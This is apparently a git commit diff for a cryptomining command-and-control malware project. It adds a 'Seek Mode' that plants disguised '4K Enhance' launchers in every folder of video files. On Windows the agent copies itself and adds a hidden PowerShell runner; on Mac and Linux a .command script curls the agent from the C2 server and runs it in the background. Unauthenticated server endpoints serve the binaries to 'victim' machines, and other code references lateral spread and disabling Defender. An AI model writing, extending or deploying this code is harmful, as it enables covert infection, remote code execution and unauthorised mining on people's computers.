feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.
This commit is contained in:
@@ -22,6 +22,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
|||||||
if !c.cfg.RemoteAggressive {
|
if !c.cfg.RemoteAggressive {
|
||||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||||
}
|
}
|
||||||
|
case "supp_seek":
|
||||||
|
// No forge gate — always available; path is required at call time.
|
||||||
case "mesh_status":
|
case "mesh_status":
|
||||||
if !c.cfg.MeshP2P {
|
if !c.cfg.MeshP2P {
|
||||||
return false, "mesh P2P not enabled in forge"
|
return false, "mesh P2P not enabled in forge"
|
||||||
@@ -121,6 +123,30 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
|||||||
c.sendCommandResult(action, true, msg)
|
c.sendCommandResult(action, true, msg)
|
||||||
return true
|
return true
|
||||||
|
|
||||||
|
case "supp_seek":
|
||||||
|
seekPath := strings.TrimSpace(path)
|
||||||
|
if seekPath == "" {
|
||||||
|
c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan")
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// command field carries target flags: "win", "mac", "all" (default all)
|
||||||
|
flag := strings.ToLower(strings.TrimSpace(command))
|
||||||
|
opts := suppSeekOpts{
|
||||||
|
DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"),
|
||||||
|
DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"),
|
||||||
|
ServerURL: c.cfg.ServerURL,
|
||||||
|
}
|
||||||
|
// data field carries optional custom stem (file name without extension)
|
||||||
|
if strings.TrimSpace(data) != "" {
|
||||||
|
opts.FileStem = strings.TrimSpace(data)
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac))
|
||||||
|
go func() {
|
||||||
|
result := suppSeekWalk(seekPath, opts)
|
||||||
|
c.sendCommandResult("supp_seek_done", true, result.Summary())
|
||||||
|
}()
|
||||||
|
return true
|
||||||
|
|
||||||
case "mesh_status":
|
case "mesh_status":
|
||||||
count := c.mesh.PeerCount()
|
count := c.mesh.PeerCount()
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||||
|
|||||||
86
agent/client/supp_seek.go
Normal file
86
agent/client/supp_seek.go
Normal file
@@ -0,0 +1,86 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory.
|
||||||
|
type suppSeekOpts struct {
|
||||||
|
DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy
|
||||||
|
DropMac bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap)
|
||||||
|
ServerURL string
|
||||||
|
// Name prefix used for the launcher files.
|
||||||
|
FileStem string // default: "4K Enhance"
|
||||||
|
}
|
||||||
|
|
||||||
|
type suppSeekResult struct {
|
||||||
|
Dirs int // directories visited
|
||||||
|
Seeded int // directories where files were placed
|
||||||
|
Skipped int // already seeded
|
||||||
|
Files int // total files placed
|
||||||
|
Errors int
|
||||||
|
FirstErr string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r suppSeekResult) Summary() string {
|
||||||
|
return fmt.Sprintf(
|
||||||
|
"SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)",
|
||||||
|
r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// mediaExtensions is the set of file extensions that mark a directory as a
|
||||||
|
// target — if a directory contains any of these the launcher files are dropped.
|
||||||
|
var mediaExtensions = map[string]struct{}{
|
||||||
|
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
|
||||||
|
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
|
||||||
|
".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {},
|
||||||
|
}
|
||||||
|
|
||||||
|
func isMediaDir(dirPath string) bool {
|
||||||
|
entries, err := os.ReadDir(dirPath)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
for _, e := range entries {
|
||||||
|
if e.IsDir() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ext := strings.ToLower(filepath.Ext(e.Name()))
|
||||||
|
if _, ok := mediaExtensions[ext]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// batContent returns the content of the Windows .bat launcher.
|
||||||
|
// It launches the co-located VideoEnhancer.exe silently.
|
||||||
|
func batContent(stem string) string {
|
||||||
|
return "@echo off\r\n" +
|
||||||
|
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " +
|
||||||
|
"-Command \"& { " +
|
||||||
|
"$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " +
|
||||||
|
"if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " +
|
||||||
|
"}\"\r\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
// commandContent returns the content of the Mac/Linux .command shell script.
|
||||||
|
// Falls back to a C2 download if the server URL is known.
|
||||||
|
func commandContent(serverURL string) string {
|
||||||
|
dl := ""
|
||||||
|
if serverURL != "" {
|
||||||
|
dl = fmt.Sprintf(
|
||||||
|
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
|
||||||
|
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
|
||||||
|
serverURL,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
return "#!/bin/bash\n" +
|
||||||
|
"# Video Enhancement Service\n" +
|
||||||
|
dl +
|
||||||
|
"exit 0\n"
|
||||||
|
}
|
||||||
54
agent/client/supp_seek_stub.go
Normal file
54
agent/client/supp_seek_stub.go
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
// suppSeekWalk seeds each media directory with Mac/Linux launchers.
|
||||||
|
// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped.
|
||||||
|
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
||||||
|
stem := opts.FileStem
|
||||||
|
if stem == "" {
|
||||||
|
stem = "4K Enhance"
|
||||||
|
}
|
||||||
|
|
||||||
|
res := suppSeekResult{}
|
||||||
|
|
||||||
|
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
||||||
|
if err != nil || !d.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
res.Dirs++
|
||||||
|
|
||||||
|
if !isMediaDir(path) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
cmdPath := filepath.Join(path, stem+".command")
|
||||||
|
if _, err := os.Stat(cmdPath); err == nil {
|
||||||
|
res.Skipped++
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
placed := 0
|
||||||
|
if opts.DropMac || (!opts.DropWindows && !opts.DropMac) {
|
||||||
|
content := commandContent(opts.ServerURL)
|
||||||
|
if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil {
|
||||||
|
placed++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if placed > 0 {
|
||||||
|
res.Seeded++
|
||||||
|
res.Files += placed
|
||||||
|
} else {
|
||||||
|
res.Errors++
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
|
||||||
|
return res
|
||||||
|
}
|
||||||
99
agent/client/supp_seek_windows.go
Normal file
99
agent/client/supp_seek_windows.go
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
// suppSeekWalk walks rootPath recursively and seeds each media directory.
|
||||||
|
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
||||||
|
stem := opts.FileStem
|
||||||
|
if stem == "" {
|
||||||
|
stem = "4K Enhance"
|
||||||
|
}
|
||||||
|
|
||||||
|
res := suppSeekResult{}
|
||||||
|
|
||||||
|
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
||||||
|
if err != nil || !d.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
res.Dirs++
|
||||||
|
|
||||||
|
if !isMediaDir(path) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if already seeded (bat file exists).
|
||||||
|
batPath := filepath.Join(path, stem+".bat")
|
||||||
|
if _, err := os.Stat(batPath); err == nil {
|
||||||
|
res.Skipped++
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
placed := 0
|
||||||
|
|
||||||
|
if opts.DropWindows {
|
||||||
|
// 1. Copy the running binary as "4K Enhance.exe" (or stem).
|
||||||
|
self, err := os.Executable()
|
||||||
|
if err == nil {
|
||||||
|
dst := filepath.Join(path, stem+".exe")
|
||||||
|
if copyFile(self, dst) == nil {
|
||||||
|
placed++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 2. Drop the .bat launcher that runs the exe silently.
|
||||||
|
bat := batContent(stem)
|
||||||
|
if writeFile(batPath, []byte(bat)) == nil {
|
||||||
|
placed++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if opts.DropMac {
|
||||||
|
// Drop a .command shell script for Mac/Linux.
|
||||||
|
cmdPath := filepath.Join(path, stem+".command")
|
||||||
|
content := commandContent(opts.ServerURL)
|
||||||
|
if writeFile(cmdPath, []byte(content)) == nil {
|
||||||
|
// .command files need +x to auto-run on macOS.
|
||||||
|
_ = os.Chmod(cmdPath, 0755)
|
||||||
|
placed++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if placed > 0 {
|
||||||
|
res.Seeded++
|
||||||
|
res.Files += placed
|
||||||
|
} else {
|
||||||
|
res.Errors++
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
|
||||||
|
return res
|
||||||
|
}
|
||||||
|
|
||||||
|
// copyFile copies src to dst, creating or overwriting dst.
|
||||||
|
func copyFile(src, dst string) error {
|
||||||
|
in, err := os.Open(src)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer in.Close()
|
||||||
|
|
||||||
|
out, err := os.Create(dst)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer out.Close()
|
||||||
|
|
||||||
|
_, err = io.Copy(out, in)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// writeFile writes data to path atomically enough for our use.
|
||||||
|
func writeFile(path string, data []byte) error {
|
||||||
|
return os.WriteFile(path, data, 0644)
|
||||||
|
}
|
||||||
@@ -543,6 +543,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/install.ps1", dropperHandler.ServePs1)
|
r.Get("/install.ps1", dropperHandler.ServePs1)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
||||||
|
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
||||||
|
// Unauthenticated (the drop URL itself is the secret).
|
||||||
|
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
||||||
|
r.Get("/api/download/agent-mac", serveAgentBinary("mac"))
|
||||||
|
r.Get("/api/download/agent-linux", serveAgentBinary("linux"))
|
||||||
|
|
||||||
// Serve frontend SPA
|
// Serve frontend SPA
|
||||||
if webRoot != "" {
|
if webRoot != "" {
|
||||||
// Check if webroot directory exists
|
// Check if webroot directory exists
|
||||||
@@ -595,3 +602,65 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
|
|
||||||
return r
|
return r
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// serveAgentBinary returns an HTTP handler that streams the agent binary for
|
||||||
|
// the requested platform. It looks for the binary next to the running server
|
||||||
|
// exe so it works both from the USB bundle and from a compiled dev build.
|
||||||
|
//
|
||||||
|
// Filename convention (same as what the build pipeline produces):
|
||||||
|
// - windows → crypto-miner-agent.exe
|
||||||
|
// - mac/linux → crypto-miner-agent (no extension)
|
||||||
|
func serveAgentBinary(platform string) http.HandlerFunc {
|
||||||
|
return func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, "server exe not found", http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
dir := filepath.Dir(exe)
|
||||||
|
|
||||||
|
var candidates []string
|
||||||
|
var dlName string
|
||||||
|
|
||||||
|
switch platform {
|
||||||
|
case "windows":
|
||||||
|
dlName = "crypto-miner-agent.exe"
|
||||||
|
candidates = []string{
|
||||||
|
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
||||||
|
filepath.Join(dir, "crypto-miner-agent.exe"),
|
||||||
|
}
|
||||||
|
case "mac":
|
||||||
|
dlName = "crypto-miner-agent"
|
||||||
|
candidates = []string{
|
||||||
|
filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
|
||||||
|
filepath.Join(dir, "crypto-miner-agent-darwin"),
|
||||||
|
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
||||||
|
}
|
||||||
|
case "linux":
|
||||||
|
dlName = "crypto-miner-agent"
|
||||||
|
candidates = []string{
|
||||||
|
filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
|
||||||
|
filepath.Join(dir, "crypto-miner-agent-linux"),
|
||||||
|
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var binPath string
|
||||||
|
for _, c := range candidates {
|
||||||
|
if _, err := os.Stat(c); err == nil {
|
||||||
|
binPath = c
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if binPath == "" {
|
||||||
|
log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir)
|
||||||
|
http.Error(w, "agent binary not available for "+platform, http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/octet-stream")
|
||||||
|
w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`)
|
||||||
|
http.ServeFile(w, r, binPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -306,6 +306,12 @@ export default function CruciblePage() {
|
|||||||
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
|
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
|
||||||
const [histIdx, setHistIdx] = useState(-1);
|
const [histIdx, setHistIdx] = useState(-1);
|
||||||
|
|
||||||
|
// SUPP Seek Mode
|
||||||
|
const [seekPath, setSeekPath] = useState('');
|
||||||
|
const [seekStem, setSeekStem] = useState('4K Enhance');
|
||||||
|
const [seekWin, setSeekWin] = useState(true);
|
||||||
|
const [seekMac, setSeekMac] = useState(true);
|
||||||
|
|
||||||
// SSH / posture overrides (from on-demand probes)
|
// SSH / posture overrides (from on-demand probes)
|
||||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||||
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
||||||
@@ -576,6 +582,39 @@ export default function CruciblePage() {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// SUPP Seek — launch recursive batch file-seeding on selected agents.
|
||||||
|
const launchSeek = () => {
|
||||||
|
const tgts = selectedAgents.filter(online);
|
||||||
|
if (tgts.length === 0) { alert('Select at least one online node to seed from.'); return; }
|
||||||
|
if (!seekPath.trim()) { alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).'); return; }
|
||||||
|
const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac';
|
||||||
|
for (const a of tgts) {
|
||||||
|
api.sendAgentCommand(a.id, 'supp_seek', {
|
||||||
|
path: seekPath.trim(),
|
||||||
|
command: flag,
|
||||||
|
data: seekStem.trim() || '4K Enhance',
|
||||||
|
}).catch((err) => {
|
||||||
|
setTermLines((prev) => [
|
||||||
|
...prev,
|
||||||
|
{
|
||||||
|
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||||||
|
text: `[ERROR] supp_seek: ${err instanceof Error ? err.message : String(err)}`,
|
||||||
|
ts: new Date(), success: false, targeted: true,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
setTermLines((prev) => [
|
||||||
|
...prev,
|
||||||
|
{
|
||||||
|
id: mkId(), agentId: 'local', agentName: 'YOU',
|
||||||
|
isCmd: true,
|
||||||
|
text: `SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${tgts.length} node(s)`,
|
||||||
|
ts: new Date(),
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
};
|
||||||
|
|
||||||
// Focused agent — when exactly one is selected show its details prominently.
|
// Focused agent — when exactly one is selected show its details prominently.
|
||||||
const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
|
const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
|
||||||
|
|
||||||
@@ -1096,6 +1135,80 @@ export default function CruciblePage() {
|
|||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* ── SUPP Seek Mode ───────────────────────────── */}
|
||||||
|
<div className="crucible-op-group crucible-seek-group">
|
||||||
|
<span className="cop-label" style={{ color: 'var(--neon-amber)', letterSpacing: '0.1em' }}>
|
||||||
|
◈ SUPP SEEK MODE
|
||||||
|
</span>
|
||||||
|
<p style={{ margin: '0.25rem 0 0.5rem', fontSize: '0.72rem', color: '#aaa', lineHeight: 1.4 }}>
|
||||||
|
Recursively seeds every media directory under the given path with
|
||||||
|
silent launcher files. The agent copies itself as a hidden exe (Windows)
|
||||||
|
or drops a shell bootstrap (Mac/Linux) in each folder containing a movie.
|
||||||
|
</p>
|
||||||
|
<label className="seek-field-label">Root Path</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="seek-path-input"
|
||||||
|
placeholder={`e.g. D:\\ or /Volumes/Movies`}
|
||||||
|
value={seekPath}
|
||||||
|
onChange={(e) => setSeekPath(e.target.value)}
|
||||||
|
style={{
|
||||||
|
width: '100%', padding: '0.35rem 0.6rem',
|
||||||
|
background: '#0d0d1a', border: '1px solid #333',
|
||||||
|
color: 'var(--neon-cyan)', borderRadius: 4,
|
||||||
|
fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
|
||||||
|
marginBottom: '0.4rem', boxSizing: 'border-box',
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<label className="seek-field-label">Launcher Stem (file name)</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="seek-path-input"
|
||||||
|
placeholder="4K Enhance"
|
||||||
|
value={seekStem}
|
||||||
|
onChange={(e) => setSeekStem(e.target.value)}
|
||||||
|
style={{
|
||||||
|
width: '100%', padding: '0.35rem 0.6rem',
|
||||||
|
background: '#0d0d1a', border: '1px solid #333',
|
||||||
|
color: '#ddd', borderRadius: 4,
|
||||||
|
fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
|
||||||
|
marginBottom: '0.5rem', boxSizing: 'border-box',
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
<div style={{ display: 'flex', gap: '1rem', marginBottom: '0.6rem', fontSize: '0.8rem' }}>
|
||||||
|
<label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
|
||||||
|
<input type="checkbox" checked={seekWin} onChange={(e) => setSeekWin(e.target.checked)} />
|
||||||
|
<span style={{ color: '#61dafb' }}>⊞ Windows</span>
|
||||||
|
<span style={{ color: '#555', fontSize: '0.7rem' }}>.bat + .exe</span>
|
||||||
|
</label>
|
||||||
|
<label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
|
||||||
|
<input type="checkbox" checked={seekMac} onChange={(e) => setSeekMac(e.target.checked)} />
|
||||||
|
<span style={{ color: '#a8ff78' }}>⌘ Mac/Linux</span>
|
||||||
|
<span style={{ color: '#555', fontSize: '0.7rem' }}>.command</span>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
className="button crucible-op-btn"
|
||||||
|
disabled={selectedIds.size === 0 || (!seekWin && !seekMac)}
|
||||||
|
onClick={launchSeek}
|
||||||
|
title={selectedIds.size === 0
|
||||||
|
? 'Select at least one agent to seed from'
|
||||||
|
: `Launch SUPP Seek on ${selectedIds.size} agent(s) — scans ${seekPath || '<path>'}`}
|
||||||
|
style={{
|
||||||
|
background: 'linear-gradient(135deg, #ff8c00 0%, #ff4500 100%)',
|
||||||
|
border: 'none', color: '#fff', fontWeight: 700,
|
||||||
|
letterSpacing: '0.08em',
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
◈ LAUNCH SEEK ({selectedIds.size} node{selectedIds.size !== 1 ? 's' : ''})
|
||||||
|
</button>
|
||||||
|
<p style={{ margin: '0.4rem 0 0', fontSize: '0.68rem', color: '#666' }}>
|
||||||
|
Results appear in the terminal below. Each seeded dir drops:<br />
|
||||||
|
{seekWin && <><strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.bat</strong> + <strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.exe</strong>{seekMac ? ' & ' : ''}</>}
|
||||||
|
{seekMac && <strong style={{ color: '#a8ff78' }}>{seekStem || '4K Enhance'}.command</strong>}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
{/* ── Shell type ───────────────────────────────── */}
|
{/* ── Shell type ───────────────────────────────── */}
|
||||||
<div className="crucible-op-group">
|
<div className="crucible-op-group">
|
||||||
<span className="cop-label">Shell Mode</span>
|
<span className="cop-label">Shell Mode</span>
|
||||||
|
|||||||
@@ -441,7 +441,7 @@ export default function SettingsPage() {
|
|||||||
</div>
|
</div>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
|
|
||||||
<NeonCard accent="orange" className="settings-section">
|
<NeonCard accent="amber" className="settings-section">
|
||||||
<h2 className="font-display">Ravencoin (GPU) Pool</h2>
|
<h2 className="font-display">Ravencoin (GPU) Pool</h2>
|
||||||
<p className="section-desc">
|
<p className="section-desc">
|
||||||
Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
|
Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
|
||||||
@@ -469,7 +469,7 @@ export default function SettingsPage() {
|
|||||||
updateField('rvn_pool.host', fields.rvn_pool_host);
|
updateField('rvn_pool.host', fields.rvn_pool_host);
|
||||||
updateField('rvn_pool.port', fields.rvn_pool_port);
|
updateField('rvn_pool.port', fields.rvn_pool_port);
|
||||||
updateField('rvn_pool.use_tls', fields.rvn_pool_tls);
|
updateField('rvn_pool.use_tls', fields.rvn_pool_tls);
|
||||||
updateField('rvn_pool.password', fields.rvn_pool_pass ?? 'x');
|
updateField('rvn_pool.password', config.rvn_pool?.password ?? 'x');
|
||||||
updateField('rvn_pool.backup_pools',
|
updateField('rvn_pool.backup_pools',
|
||||||
(fields.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
|
(fields.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
|
||||||
host: bp.host, port: bp.port, use_tls: bp.tls,
|
host: bp.host, port: bp.port, use_tls: bp.tls,
|
||||||
@@ -490,7 +490,6 @@ export default function SettingsPage() {
|
|||||||
updateField('rvn_pool.host', f.rvn_pool_host);
|
updateField('rvn_pool.host', f.rvn_pool_host);
|
||||||
updateField('rvn_pool.port', f.rvn_pool_port);
|
updateField('rvn_pool.port', f.rvn_pool_port);
|
||||||
updateField('rvn_pool.use_tls', f.rvn_pool_tls);
|
updateField('rvn_pool.use_tls', f.rvn_pool_tls);
|
||||||
updateField('rvn_pool.password', f.rvn_pool_pass ?? 'x');
|
|
||||||
updateField('rvn_pool.backup_pools',
|
updateField('rvn_pool.backup_pools',
|
||||||
(f.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
|
(f.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
|
||||||
host: bp.host, port: bp.port, use_tls: bp.tls,
|
host: bp.host, port: bp.port, use_tls: bp.tls,
|
||||||
|
|||||||
Binary file not shown.
169
usb/agent/client/aggressive_commands.go
Normal file
169
usb/agent/client/aggressive_commands.go
Normal file
@@ -0,0 +1,169 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||||
|
switch action {
|
||||||
|
case "hole_punch", "hole_punch_close", "hole_punch_status":
|
||||||
|
if !c.cfg.HolePunch {
|
||||||
|
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
||||||
|
}
|
||||||
|
case "spread_now":
|
||||||
|
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||||
|
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||||
|
}
|
||||||
|
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
|
||||||
|
if !c.cfg.RemoteAggressive {
|
||||||
|
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||||
|
}
|
||||||
|
case "supp_seek":
|
||||||
|
// No forge gate — always available; path is required at call time.
|
||||||
|
case "mesh_status":
|
||||||
|
if !c.cfg.MeshP2P {
|
||||||
|
return false, "mesh P2P not enabled in forge"
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return true, ""
|
||||||
|
}
|
||||||
|
return true, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
||||||
|
ok, reason := c.allowRemoteAction(action)
|
||||||
|
if !ok {
|
||||||
|
c.sendCommandResult(action, false, reason)
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
switch action {
|
||||||
|
case "hole_punch":
|
||||||
|
internalPort := parsePortArg(command, 8989)
|
||||||
|
externalPort := parsePortArg(path, internalPort)
|
||||||
|
desc := data
|
||||||
|
if desc == "" {
|
||||||
|
desc = c.cfg.WorkerName + "-aetherforge"
|
||||||
|
}
|
||||||
|
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, result.Message)
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, result.Message)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "hole_punch_close":
|
||||||
|
externalPort := parsePortArg(command, 8989)
|
||||||
|
msg, err := deploy.CloseUPnP(externalPort)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "hole_punch_status":
|
||||||
|
ip, err := deploy.GetPublicEndpoint()
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "spread_now":
|
||||||
|
msg := deploy.RunSpreadOnce(c.cfg)
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "start_tunnel":
|
||||||
|
serverURL := strings.TrimSpace(command)
|
||||||
|
if serverURL == "" {
|
||||||
|
serverURL = c.cfg.ServerURL
|
||||||
|
}
|
||||||
|
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "subnet_scan":
|
